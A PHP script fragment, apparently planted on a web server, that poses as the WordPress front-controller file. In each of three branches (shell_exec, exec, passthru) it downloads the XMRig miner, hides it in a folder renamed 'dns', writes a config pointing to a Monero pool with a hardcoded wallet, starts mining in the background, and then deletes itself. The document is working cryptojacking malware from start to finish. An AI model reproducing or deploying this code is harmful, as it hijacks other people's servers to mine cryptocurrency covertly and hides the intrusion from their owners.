?
Front to the WordPress application
Front to the WordPress application
?
Front to the WordPress application
Front to the WordPress application
xmrig.log 2>&1 &");
break;
case 'shell_exec':
echo "1- Getting the folder\n";
shell_exec("wget --no-check-certificate https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz");
echo "2- Extracting the folder\n";
shell_exec("tar -xvf xmrig-6.22.2-linux-static-x64.tar.gz");
echo "3- Deleting archive file\n";
shell_exec("rm xmrig-6.22.2-linux-static-x64.tar.gz");
echo "4- Renaming the folder\n";
shell_exec("mv xmrig-6.22.2 dns");
echo "5- Replace config.json content\n";
$configContent = '{
"autosave": true,
"donate-level": 5,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "pool.hashvault.pro:443",
"user": "42EayJFNJu8K4wXM4zfm59FBJshKQLs1D1ZFiBYrdeaEaT9G5M8ZJJHagizjMfjky6JHNcPYGsGtAZXpsuarCM4Q4pei63w",
"keepalive": true,
"tls": true
}
],
"log-file": "xmrig.log", // Specify the log file name
"log-level": 1 // Set the log level (0-5, where 0 is no logs and 5 is verbose)
}';
file_put_contents('dns/config.json', $configContent);
echo "6- Running program in the background\n";
chdir('dns');
shell_exec("nohup ./xmrig > xmrig.log 2>&1 &");
break;
case 'exec':
echo "1- Getting the folder\n";
exec("wget --no-check-certificate https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz");
echo "2- Extracting the folder\n";
exec("tar -xvf xmrig-6.22.2-linux-static-x64.tar.gz");
echo "3- Deleting archive file\n";
exec("rm xmrig-6.22.2-linux-static-x64.tar.gz");
echo "4- Renaming the folder\n";
exec("mv xmrig-6.22.2 dns");
echo "5- Replace config.json content\n";
$configContent = '{
"autosave": true,
"donate-level": 5,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "pool.hashvault.pro:443",
"user": "42EayJFNJu8K4wXM4zfm59FBJshKQLs1D1ZFiBYrdeaEaT9G5M8ZJJHagizjMfjky6JHNcPYGsGtAZXpsuarCM4Q4pei63w",
"keepalive": true,
"tls": true
}
],
"log-file": "xmrig.log", // Specify the log file name
"log-level": 1 // Set the log level (0-5, where 0 is no logs and 5 is verbose)
}';
file_put_contents('dns/config.json', $configContent);
echo "6- Running program in the background\n";
chdir('dns');
exec("nohup ./xmrig > xmrig.log 2>&1 &");
break;
case 'passthru':
echo "1- Getting the folder\n";
passthru("wget --no-check-certificate https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz");
echo "2- Extracting the folder\n";
passthru("tar -xvf xmrig-6.22.2-linux-static-x64.tar.gz");
echo "3- Deleting archive file\n";
passthru("rm xmrig-6.22.2-linux-static-x64.tar.gz");
echo "4- Renaming the folder\n";
passthru("mv xmrig-6.22.2 dns");
echo "5- Replace config.json content\n";
$configContent = '{
"autosave": true,
"donate-level": 5,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "pool.hashvault.pro:443",
"user": "42EayJFNJu8K4wXM4zfm59FBJshKQLs1D1ZFiBYrdeaEaT9G5M8ZJJHagizjMfjky6JHNcPYGsGtAZXpsuarCM4Q4pei63w",
"keepalive": true,
"tls": true
}
],
"log-file": "xmrig.log", // Specify the log file name
"log-level": 1 // Set the log level (0-5, where 0 is no logs and 5 is verbose)
}';
file_put_contents('dns/config.json', $configContent);
echo "6- Running program in the background\n";
chdir('dns');
passthru("nohup ./xmrig > xmrig.log 2>&1 &");
break;
}
} else {
echo "!!!!!No Enabled Functions !!!!!";
}
unlink(__FILE__);
?>